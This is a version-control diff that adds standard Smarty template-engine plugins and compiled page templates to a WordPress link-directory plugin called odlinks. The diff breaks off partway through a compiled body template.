+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.default.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty default modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     default<br>
+ * Purpose:  designate default value for empty variables
+ * @link http://smarty.php.net/manual/en/language.modifier.default.php
+ *          default (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_default($string, $default = '')
+{
+    if (!isset($string) || $string === '')
+        return $default;
+    else
+        return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.escape.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.escape.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.escape.php	(revision 44)
@@ -0,0 +1,93 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty escape modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     escape<br>
+ * Purpose:  Escape the string according to escapement type
+ * @link http://smarty.php.net/manual/en/language.modifier.escape.php
+ *          escape (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param html|htmlall|url|quotes|hex|hexentity|javascript
+ * @return string
+ */
+function smarty_modifier_escape($string, $esc_type = 'html', $char_set = 'ISO-8859-1')
+{
+    switch ($esc_type) {
+        case 'html':
+            return htmlspecialchars($string, ENT_QUOTES, $char_set);
+
+        case 'htmlall':
+            return htmlentities($string, ENT_QUOTES, $char_set);
+
+        case 'url':
+            return rawurlencode($string);
+
+        case 'urlpathinfo':
+            return str_replace('%2F','/',rawurlencode($string));
+            
+        case 'quotes':
+            // escape unescaped single quotes
+            return preg_replace("%(?<!\\\\)'%", "\\'", $string);
+
+        case 'hex':
+            // escape every character into hex
+            $return = '';
+            for ($x=0; $x < strlen($string); $x++) {
+                $return .= '%' . bin2hex($string[$x]);
+            }
+            return $return;
+            
+        case 'hexentity':
+            $return = '';
+            for ($x=0; $x < strlen($string); $x++) {
+                $return .= '&#x' . bin2hex($string[$x]) . ';';
+            }
+            return $return;
+
+        case 'decentity':
+            $return = '';
+            for ($x=0; $x < strlen($string); $x++) {
+                $return .= '&#' . ord($string[$x]) . ';';
+            }
+            return $return;
+
+        case 'javascript':
+            // escape quotes and backslashes, newlines, etc.
+            return strtr($string, array('\\'=>'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n','</'=>'<\/'));
+            
+        case 'mail':
+            // safe way to display e-mail address on a web page
+            return str_replace(array('@', '.'),array(' [AT] ', ' [DOT] '), $string);
+            
+        case 'nonstd':
+           // escape non-standard chars, such as ms document quotes
+           $_res = '';
+           for($_i = 0, $_len = strlen($string); $_i < $_len; $_i++) {
+               $_ord = ord(substr($string, $_i, 1));
+               // non-standard char, escape it
+               if($_ord >= 126){
+                   $_res .= '&#' . $_ord . ';';
+               }
+               else {
+                   $_res .= substr($string, $_i, 1);
+               }
+           }
+           return $_res;
+
+        default:
+            return $string;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.indent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.indent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.indent.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty indent modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     indent<br>
+ * Purpose:  indent lines of text
+ * @link http://smarty.php.net/manual/en/language.modifier.indent.php
+ *          indent (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param integer
+ * @param string
+ * @return string
+ */
+function smarty_modifier_indent($string,$chars=4,$char=" ")
+{
+    return preg_replace('!^!m',str_repeat($char,$chars),$string);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.lower.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.lower.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.lower.php	(revision 44)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty lower modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     lower<br>
+ * Purpose:  convert string to lowercase
+ * @link http://smarty.php.net/manual/en/language.modifier.lower.php
+ *          lower (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_modifier_lower($string)
+{
+    return strtolower($string);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.nl2br.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.nl2br.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.nl2br.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty plugin
+ *
+ * Type:     modifier<br>
+ * Name:     nl2br<br>
+ * Date:     Feb 26, 2003
+ * Purpose:  convert \r\n, \r or \n to <<br>>
+ * Input:<br>
+ *         - contents = contents to replace
+ *         - preceed_test = if true, includes preceeding break tags
+ *           in replacement
+ * Example:  {$text|nl2br}
+ * @link http://smarty.php.net/manual/en/language.modifier.nl2br.php
+ *          nl2br (Smarty online manual)
+ * @version  1.0
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_modifier_nl2br($string)
+{
+    return nl2br($string);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.regex_replace.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.regex_replace.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.regex_replace.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty regex_replace modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     regex_replace<br>
+ * Purpose:  regular expression search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php
+ *          regex_replace (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string|array
+ * @param string|array
+ * @return string
+ */
+function smarty_modifier_regex_replace($string, $search, $replace)
+{
+    if (preg_match('!([a-zA-Z\s]+)$!s', $search, $match) && (strpos($match[1], 'e') !== false)) {
+        /* remove eval-modifier from $search */
+        $search = substr($search, 0, -strlen($match[1])) . preg_replace('![e\s]+!', '', $match[1]);
+    }
+       
+    return preg_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.replace.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.replace.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.replace.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty replace modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     replace<br>
+ * Purpose:  simple search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.replace.php
+ *          replace (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_replace($string, $search, $replace)
+{
+    return str_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.spacify.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.spacify.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.spacify.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty spacify modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     spacify<br>
+ * Purpose:  add spaces between characters in a string
+ * @link http://smarty.php.net/manual/en/language.modifier.spacify.php
+ *          spacify (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_spacify($string, $spacify_char = ' ')
+{
+    return implode($spacify_char,
+                   preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY));
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.string_format.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.string_format.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.string_format.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty string_format modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     string_format<br>
+ * Purpose:  format strings via sprintf
+ * @link http://smarty.php.net/manual/en/language.modifier.string.format.php
+ *          string_format (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_string_format($string, $format)
+{
+    return sprintf($format, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     strip<br>
+ * Purpose:  Replace all repeated spaces, newlines, tabs
+ *           with a single space or supplied replacement string.<br>
+ * Example:  {$var|strip} {$var|strip:"&nbsp;"}
+ * Date:     September 25th, 2002
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.php
+ *          strip (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @version  1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_strip($text, $replace = ' ')
+{
+    return preg_replace('!\s+!', $replace, $text);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip_tags.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip_tags.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.strip_tags.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip_tags modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     strip_tags<br>
+ * Purpose:  strip html tags from text
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php
+ *          strip_tags (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_strip_tags($string, $replace_with_space = true)
+{
+    if ($replace_with_space)
+        return preg_replace('!<[^>]*?>!', ' ', $string);
+    else
+        return strip_tags($string);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.truncate.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.truncate.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.truncate.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty truncate modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     truncate<br>
+ * Purpose:  Truncate a string to a certain length if necessary,
+ *           optionally splitting in the middle of a word, and
+ *           appending the $etc string or inserting $etc into the middle.
+ * @link http://smarty.php.net/manual/en/language.modifier.truncate.php
+ *          truncate (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_truncate($string, $length = 80, $etc = '...',
+                                  $break_words = false, $middle = false)
+{
+    if ($length == 0)
+        return '';
+
+    if (strlen($string) > $length) {
+        $length -= strlen($etc);
+        if (!$break_words && !$middle) {
+            $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1));
+        }
+        if(!$middle) {
+            return substr($string, 0, $length).$etc;
+        } else {
+            return substr($string, 0, $length/2) . $etc . substr($string, -$length/2);
+        }
+    } else {
+        return $string;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.upper.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.upper.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.upper.php	(revision 44)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty upper modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     upper<br>
+ * Purpose:  convert string to uppercase
+ * @link http://smarty.php.net/manual/en/language.modifier.upper.php
+ *          upper (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_modifier_upper($string)
+{
+    return strtoupper($string);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.wordwrap.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.wordwrap.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.wordwrap.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty wordwrap modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     wordwrap<br>
+ * Purpose:  wrap a string of text at a given length
+ * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php
+ *          wordwrap (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_wordwrap($string,$length=80,$break="\n",$cut=false)
+{
+    return wordwrap($string,$length,$break,$cut);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/outputfilter.trimwhitespace.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/outputfilter.trimwhitespace.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/outputfilter.trimwhitespace.php	(revision 44)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty trimwhitespace outputfilter plugin
+ *
+ * File:     outputfilter.trimwhitespace.php<br>
+ * Type:     outputfilter<br>
+ * Name:     trimwhitespace<br>
+ * Date:     Jan 25, 2003<br>
+ * Purpose:  trim leading white space and blank lines from
+ *           template source after it gets interpreted, cleaning
+ *           up code and saving bandwidth. Does not affect
+ *           <<PRE>></PRE> and <SCRIPT></SCRIPT> blocks.<br>
+ * Install:  Drop into the plugin directory, call
+ *           <code>$smarty->load_filter('output','trimwhitespace');</code>
+ *           from application.
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @author Contributions from Lars Noschinski <lars@usenet.noschinski.de>
+ * @version  1.3
+ * @param string
+ * @param Smarty
+ */
+function smarty_outputfilter_trimwhitespace($source, &$smarty)
+{
+    // Pull out the script blocks
+    preg_match_all("!<script[^>]+>.*?</script>!is", $source, $match);
+    $_script_blocks = $match[0];
+    $source = preg_replace("!<script[^>]+>.*?</script>!is",
+                           '@@@SMARTY:TRIM:SCRIPT@@@', $source);
+
+    // Pull out the pre blocks
+    preg_match_all("!<pre>.*?</pre>!is", $source, $match);
+    $_pre_blocks = $match[0];
+    $source = preg_replace("!<pre>.*?</pre>!is",
+                           '@@@SMARTY:TRIM:PRE@@@', $source);
+
+    // Pull out the textarea blocks
+    preg_match_all("!<textarea[^>]+>.*?</textarea>!is", $source, $match);
+    $_textarea_blocks = $match[0];
+    $source = preg_replace("!<textarea[^>]+>.*?</textarea>!is",
+                           '@@@SMARTY:TRIM:TEXTAREA@@@', $source);
+
+    // remove all leading spaces, tabs and carriage returns NOT
+    // preceeded by a php close tag.
+    $source = trim(preg_replace('/((?<!\?>)\n)[\s]+/m', '\1', $source));
+
+    // replace script blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:SCRIPT@@@",$_script_blocks, $source);
+
+    // replace pre blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:PRE@@@",$_pre_blocks, $source);
+
+    // replace textarea blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:TEXTAREA@@@",$_textarea_blocks, $source);
+
+    return $source;
+}
+
+function smarty_outputfilter_trimwhitespace_replace($search_str, $replace, &$subject) {
+    $_len = strlen($search_str);
+    $_pos = 0;
+    for ($_i=0, $_count=count($replace); $_i<$_count; $_i++)
+        if (($_pos=strpos($subject, $search_str, $_pos))!==false)
+            $subject = substr_replace($subject, $replace[$_i], $_pos, $_len);
+        else
+            break;
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.escape_special_chars.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.escape_special_chars.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.escape_special_chars.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Smarty shared plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * escape_special_chars common function
+ *
+ * Function: smarty_function_escape_special_chars<br>
+ * Purpose:  used by other smarty functions to escape
+ *           special chars except for already escaped ones
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_function_escape_special_chars($string)
+{
+    if(!is_array($string)) {
+        $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string);
+        $string = htmlspecialchars($string);
+        $string = str_replace(array('%%%SMARTY_START%%%','%%%SMARTY_END%%%'), array('&',';'), $string);
+    }
+    return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.make_timestamp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.make_timestamp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/shared.make_timestamp.php	(revision 44)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Smarty shared plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Function: smarty_make_timestamp<br>
+ * Purpose:  used by other smarty functions to make a timestamp
+ *           from a string.
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_make_timestamp($string)
+{
+    if(empty($string)) {
+        // use "now":
+        $time = time();
+
+    } elseif (preg_match('/^\d{14}$/', $string)) {
+        // it is mysql timestamp format of YYYYMMDDHHMMSS?            
+        $time = mktime(substr($string, 8, 2),substr($string, 10, 2),substr($string, 12, 2),
+                       substr($string, 4, 2),substr($string, 6, 2),substr($string, 0, 4));
+        
+    } elseif (is_numeric($string)) {
+        // it is a numeric string, we handle it as timestamp
+        $time = (int)$string;
+        
+    } else {
+        // strtotime should handle it
+        $time = strtotime($string);
+        if ($time == -1 || $time === false) {
+            // strtotime() was not able to parse $string, use "now":
+            $time = time();
+        }
+    }
+    return $time;
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%0E^0E4^0E407559%%footer.tpl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%0E^0E4^0E407559%%footer.tpl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%0E^0E4^0E407559%%footer.tpl.php	(revision 44)
@@ -0,0 +1,14 @@
+<?php /* Smarty version 2.6.14, created on 2009-07-11 14:36:08
+         compiled from footer.tpl */ ?>
+<div class="odl_footer"><img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/rss.png" /><?php echo $this->_tpl_vars['rssurl']; ?>
+&nbsp;<?php echo $this->_tpl_vars['odl_top_link']; ?>
+<br />
+	<?php echo $this->_tpl_vars['wpClassified_slug_url']; ?>
+
+	<div class="smallTxt">&nbsp;<?php echo $this->_tpl_vars['odl_credit_line']; ?>
+</div> 
+</div>
+
+</div><!--main-content-->
+</div><!--odl_container-->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%95^959^959BC755%%body.tpl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%95^959^959BC755%%body.tpl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%95^959^959BC755%%body.tpl.php	(revision 44)
@@ -0,0 +1,178 @@
+<?php /* Smarty version 2.6.14, created on 2009-07-11 14:36:08
+         compiled from body.tpl */ ?>
+<?php $_smarty_tpl_vars = $this->_tpl_vars;
+$this->_smarty_include(array('smarty_include_tpl_file' => 'header.tpl', 'smarty_include_vars' => array()));
+$this->_tpl_vars = $_smarty_tpl_vars;
+unset($_smarty_tpl_vars);
+ ?>
+
+<div class="odl_list">
+	<div class="odl_list_top">
+		<div class="odl_search"> 
+			<form method="get" id="odl_addlink_post" name="odl_addlink_post" action="<?php echo $this->_tpl_vars['odl_search_link']; ?>
+">
+			<table><tr><td>
+			<input type="text" name="search_terms" size="30" value="<?php echo $this->_tpl_vars['search_terms']; ?>
+">
+			<input type="submit" value="Search">&nbsp;<?php echo $this->_tpl_vars['odl_advanced']; ?>
+
+			</td></tr>
+			<tr><td align="left">
+			Links:&nbsp;<input type="radio" value="links" name="type">&nbsp;&nbsp;
+			Description:&nbsp;<input type="radio" value="desc" name="type">&nbsp;&nbsp;
+			All:&nbsp;<input type="radio" value="desc" name="type" checked>&nbsp;&nbsp;
+			</td></tr></table>
+			</form>
+		</div>
+		<?php if ($this->_tpl_vars['cat_id'] > '0'): ?>
+			<P>
+			<p class="odl_head_navi"><b><?php echo $this->_tpl_vars['odl_main_link']; ?>
+</b>:<?php echo $this->_tpl_vars['navigation_link']; ?>
+</p>
+			<?php if (( $this->_tpl_vars['odl_navigation_description'] )): ?> 
+				<span class ="odl_navigation_description"><?php echo $this->_tpl_vars['odl_navigation_description']; ?>
+</span>
+			<?php endif; ?>
+		<?php endif; ?>
+		<?php if (( $this->_tpl_vars['addurl_link'] )): ?>
+			<span class="odl_head_addurl"><img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/addtopic.jpg"><?php echo $this->_tpl_vars['addurl_link']; ?>
+</span>
+		<?php endif; ?>
+	</div>
+</div>
+
+<P>
+<div class="odl_container">
+	<div class="odl_editform">
+	<?php if ($this->_tpl_vars['error']): ?>
+		<b><?php echo $this->_tpl_vars['error']; ?>
+</b><hr>
+	<?php endif; ?>
+	</div>
+	<div class="main-content">
+	<?php if (( $this->_tpl_vars['cat_id'] != 0 ) && ( $this->_tpl_vars['cat_desc'] <> "" )): ?>
+		Description<br /><?php echo $this->_tpl_vars['cat_desc']; ?>
+
+	<?php endif; ?>
+
+	<?php if ($this->_tpl_vars['googletop']): ?>
+		<?php echo $this->_tpl_vars['googleAd']; ?>
+
+	<?php endif; ?>
+
+	<?php if ($this->_tpl_vars['categories']): ?>
+	<h3>Categories</h3></td>
+	<table border="0" width="100%" class="tbody" cellspacing="1" cellpadding="1">
+	<tr>
+		<td width="100%">
+		<table border="0" width="97%" cellspacing="3" cellpadding="3"><tr> 
+		<?php $_from = $this->_tpl_vars['categories']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }$this->_foreach['categories'] = array('total' => count($_from), 'iteration' => 0);
+if ($this->_foreach['categories']['total'] > 0):
+    foreach ($_from as $this->_tpl_vars['cats'] => $this->_tpl_vars['cat']):
+        $this->_foreach['categories']['iteration']++;
+?>
+			<td valign="top" width="50%">
+	
+					<img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/folder.gif"><b><?php echo $this->_tpl_vars['cat']['cat_link']; ?>
+</b>(<?php echo $this->_tpl_vars['cat']['c_links']; ?>
+)<br>
+					<?php if ($this->_tpl_vars['subcategories']): ?>
+						<table border="0"><tr><td>&nbsp;&nbsp;&nbsp;
+						<?php $_from = $this->_tpl_vars['subcategories']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }$this->_foreach['subcount'] = array('total' => count($_from), 'iteration' => 0);
+if ($this->_foreach['subcount']['total'] > 0):
+    foreach ($_from as $this->_tpl_vars['subs'] => $this->_tpl_vars['sub']):
+        $this->_foreach['subcount']['iteration']++;
+?>
+							<?php if ($this->_tpl_vars['sub']['c_parent'] == $this->_tpl_vars['cat']['c_id']): ?>
+								<?php if ($this->_tpl_vars['sub']['c_no'] < 4): ?>
+									<?php echo $this->_tpl_vars['sub']['c_path']; ?>
+
+								<?php else: ?>.<?php endif; ?>
+							<?php endif; ?>
+						<?php endforeach; else: ?>
+						No items were found.
+						<?php endif; unset($_from); ?>
+						</td></tr></table>
+	
+				<?php endif; ?>
+			</td> 
+			<?php if (!($this->_foreach['categories']['iteration'] % 2)): ?> 
+			</tr><tr>
+			<?php elseif (! ($this->_foreach['categories']['iteration'] == $this->_foreach['categories']['total'])): ?>
+				<td>&nbsp;</td>
+			<?php endif; ?>
+		<?php endforeach; endif; unset($_from); ?> 
+		</tr></table>
+		</td>
+	</tr>
+	</table>
+	<?php else: ?>
+	<BR />
+	<?php endif; ?>
+	<?php if ($this->_tpl_vars['links']): ?>
+		<h3>Links</h3>
+		<?php $_from = $this->_tpl_vars['links']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }if (count($_from)):
+    foreach ($_from as $this->_tpl_vars['key'] => $this->_tpl_vars['item']):
+?>
+			<div class="viewlink">
+			<table border=0><td valign="top"><a href="<?php echo $this->_tpl_vars['item']['url']; ?>
+" class="previewlink" target=_blank>&nbsp;&nbsp;&nbsp;</a></td>
+			<td><!--img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/link.jpg"--><b><a href="<?php echo $this->_tpl_vars['item']['url']; ?>
+" target=_blank><?php echo $this->_tpl_vars['item']['title']; ?>
+</a></b>&nbsp;<span class ="smallTxt">Added: <?php echo $this->_tpl_vars['item']['date']; ?>
+</span><br/>
+			<?php if ($this->_tpl_vars['item']['description'] <> ""):  echo $this->_tpl_vars['item']['description']; ?>
+</td></tr>
+			<tr><td></td><td>
+			<br>
+			<img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/favourite.gif"><a href="javascript:addbookmark('<?php echo $this->_tpl_vars['item']['url']; ?>
+','<?php echo $this->_tpl_vars['item']['title']; ?>
+');"><font color="#840000">Add to Favourite</font></a>
+			&nbsp;&nbsp;<img src="<?php echo $this->_tpl_vars['odl_images']; ?>
